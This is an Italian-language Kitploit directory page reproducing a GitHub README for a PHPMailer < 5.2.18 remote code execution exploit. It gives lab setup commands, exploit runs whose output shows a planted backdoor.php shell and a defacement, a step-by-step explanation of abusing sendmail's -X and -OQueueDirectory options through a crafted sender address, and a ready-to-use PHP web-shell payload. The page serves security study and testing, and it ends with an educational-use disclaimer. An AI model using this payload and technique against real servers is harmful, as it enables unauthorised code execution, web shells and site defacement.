Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
exploit-CVE-2016-10034 — PHPMailer < 5.2.18 Esecuzione di codice remoto | Kitploit
Strumenti/GitHubGitHub/heikipikker/exploit-cve-2016-10034
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubheikipikker/exploit-cve-2016-10034

exploit-CVE-2016-10034

PHPMailer < 5.2.18 Esecuzione di codice remoto

Vedi Repository
19 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PHPMailer < 5.2.18 Esecuzione di Codice Remota

Docker Pulls License

PHPMailer è la classe di trasporto più popolare al mondo, con circa 9 milioni di utenti in tutto il mondo. I download continuano a un ritmo significativo ogni giorno. Utilizzato da molti progetti open-source: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! e molti altri

PHPMailer prima della versione 5.2.18 presenta una vulnerabilità che potrebbe portare all'esecuzione di codice remoto (RCE). La funzione mailSend nel trasporto isMail in PHPMailer, quando la proprietà Sender non è impostata, potrebbe consentire a un utente malintenzionato remoto di passare parametri aggiuntivi al comando mail e conseguentemente eseguire codice arbitrario tramite un \" (backslash e virgolette doppie) in un indirizzo From manipolato.

Ambiente vulnerabile

Per configurare un ambiente vulnerabile per il tuo test avrai bisogno di Docker installato, e basta eseguire il seguente comando:

root@kitploit:~
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033

E avvierà un'applicazione web vulnerabile sul tuo host sulla porta 8080

vulnerabile

Exploit

Per sfruttare questo target basta eseguire:

root@kitploit:~
./exploit host:port

Se stai usando questa immagine vulnerabile, puoi semplicemente eseguire:

root@kitploit:~
./exploit localhost:8080

Dopo lo sfruttamento, un file chiamato backdoor.php verrà archiviato nella cartella radice della directory web. E l'exploit ti fornirà una shell dove puoi inviare comandi al backdoor:

root@kitploit:~
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> 

Ed è tutto, hai la tua shell. C'è un altro exploit, che illustra un altro caso d'uso.

root@kitploit:~
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting

E se visiti di nuovo la pagina, vedrai questo:

deturpato

Codice vulnerabile

Prima di questo commit in class.phpmailer.php in un certo scenario non c'è filtro per i caratteri speciali nell'indirizzo email del mittente. Questa falla può portare all'esecuzione di codice remoto, tramite la funzione mail qui.

Analizzando il codice, non c'è filtro nella funzione mailSend()

root@kitploit:~
        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }

$this->Sender viene direttamente aggiunto alla variabile $params, che era stata filtrata nella funzione validateAddress(), ma poiché utilizza la specifica RFC 3696, consente alcuni caratteri che romperanno le cose. In questo caso, le virgolette:

Oltre a usare il backslash per l'escape, le virgolette doppie convenzionali possono essere utilizzate per racchiudere stringhe. Per esempio

"Abc@def"@example.com

"Fred Bloggs"@example.com

sono forme alternative dei primi due esempi sopra. Queste forme virgolettate sono raramente raccomandate e sono poco comuni nella pratica, ma, come discusso sopra, devono essere supportate dalle applicazioni che elaborano indirizzi email. In particolare, le forme virgolettate appaiono spesso nel contesto di indirizzi associati a transizioni da altri sistemi e contesti; tali requisiti transitori si presentano ancora e, poiché un sistema che accetta un indirizzo email fornito dall'utente non può "sapere" se quell'indirizzo è associato a un sistema legacy, le forme dell'indirizzo devono essere accettate e passate nell'ambiente email.

Puoi leggere l'intera RFC qui se vuoi. Ma anche, se la versione di PHP è inferiore alla 5.2.0 e non c'è PCRE installato, la variabile $patternselect in validateAddress() sarà impostata su noregex. Ciò farà sì che l'input possa evitare qualsiasi controllo regex. Passerà solo attraverso una piccola verifica:

root@kitploit:~
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);

Poi, il flusso del codice va alla funzione mailPassthru(), che, se eseguita in safe_mode non sarà vulnerabile a questa falla, come afferma il codice seguente

root@kitploit:~
        //Can't use additional_parameters in safe_mode
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }

Ma, se non è in esecuzione in safe_mode, allora il parametro speciale verrà passato a mail() e, se siamo fortunati, otterrà il nostro file contenente ciò che vogliamo venga scritto dove scegliamo di scriverlo.

Note sullo sfruttamento della funzione mail() di PHP

Lo sfruttamento della funzione mail() di PHP non è una novità, ma è ancora vivo e le persone lo usano ancora. Per spiegare come funziona, diamo un'occhiata a come è definita la funzione mail():

root@kitploit:~
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

Esistono diversi metodi di sfruttamento per vari risultati, ci concentreremo sullo sfruttamento del 5° parametro per ottenere l'esecuzione di codice remoto (RCE). Il parametro $additional_parameters viene utilizzato per passare flag aggiuntivi come opzioni della riga di comando al programma configurato per l'invio dell'email. Questa configurazione è definita dalla variabile sendmail_path.

Una nota sulla sicurezza dalla documentazione ufficiale PHP:

Il parametro additional_parameters può essere utilizzato per passare flag aggiuntivi come opzioni della riga di comando al programma configurato per l'invio della posta, come definito dall'impostazione di configurazione sendmail_path. Ad esempio, può essere usato per impostare l'indirizzo del mittente dell'involucro quando si utilizza sendmail con l'opzione -f sendmail.

Questo parametro viene escapato internamente da escapeshellcmd() per prevenire l'esecuzione di comandi. escapeshellcmd() previene l'esecuzione di comandi, ma consente di aggiungere parametri aggiuntivi. Per ragioni di sicurezza, si raccomanda all'utente di sanitizzare questo parametro per evitare di aggiungere parametri indesiderati al comando shell.

Considerando i parametri aggiuntivi che possono essere iniettati, utilizzeremo -X per sfruttare questa falla. Ulteriori informazioni sul parametro -X

root@kitploit:~
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.

Ci sono anche alcuni altri parametri interessanti che dovresti sapere che esistono:

root@kitploit:~
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.

E

root@kitploit:~
-O option=value
Set option option to the specified value. This form uses long names.

E per l'opzione -O, QueueDirectory è l'opzione più interessante lì, questa opzione seleziona la directory in cui accodare i messaggi.

Se vuoi leggere l'intera lista di parametri e opzioni, basta man sendmail o leggerla online qui

Basandoci su queste informazioni, e sulla capacità di controllare almeno uno degli altri parametri, possiamo sfruttare l'host. Di seguito i passaggi per uno sfruttamento riuscito:

  • Controlla $additional_parameters e un altro parametro di mail()
  • Conosci una directory scrivibile sull'host target accessibile tramite il sistema e l'utente target (ad esempio www-data). Di solito questa directory può essere qualsiasi cosa sotto webroot (aka /var/www/html per altri sistemi, /www per questo esempio)
  • Qualsiasi payload PHP che desideri, stiamo usando un semplice payload system() in questo esempio, con un po' di base64 e alcuni caratteri speciali | per renderlo più facile da analizzare.
  • Metti tutto insieme!

Ricorda che l'opzione -X scriverà il file di log, che conterrà tra le informazioni di log il tuo payload PHP, nella directory che indicherai. Un esempio di codice PHP vulnerabile:

root@kitploit:~
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);

Se esegui il codice sopra, creerà un file di log in /www/backdoor.php, questa è l'essenza di questo exploit.

Payload

root@kitploit:~
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>

Voglio cacciare bug, e adesso?

Vuoi un modo facile, con un solo comando, per provare a individuare questa falla? Ricordati questo magico comando grep!

root@kitploit:~
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *

Eseguendolo su questo repository risulterà in

root@kitploit:~
src/class.phpmailer.php:700:            $result = @mail($to, $subject, $body, $header, $params);

Crediti

Questa vulnerabilità è stata trovata da Dawid Golunski.

Dichiarazione di esonero

Questo programma o i precedenti sono SOLO a scopo educativo. Non utilizzarlo senza autorizzazione. Si applica il solito disclaimer, specialmente il fatto che io (opsxcq) non sono responsabile per eventuali danni causati dall'uso diretto o indiretto delle informazioni o funzionalità fornite da questi programmi. L'autore o qualsiasi fornitore di servizi Internet non si assume ALCUNA responsabilità per il contenuto o l'uso improprio di questi programmi o di qualsiasi loro derivato. Usando questi programmi accetti il fatto che qualsiasi danno (perdita di dati, crash di sistema, compromissione del sistema, ecc.) causato dall'uso di questi programmi non è responsabilità di opsxcq.

Scarica lo strumento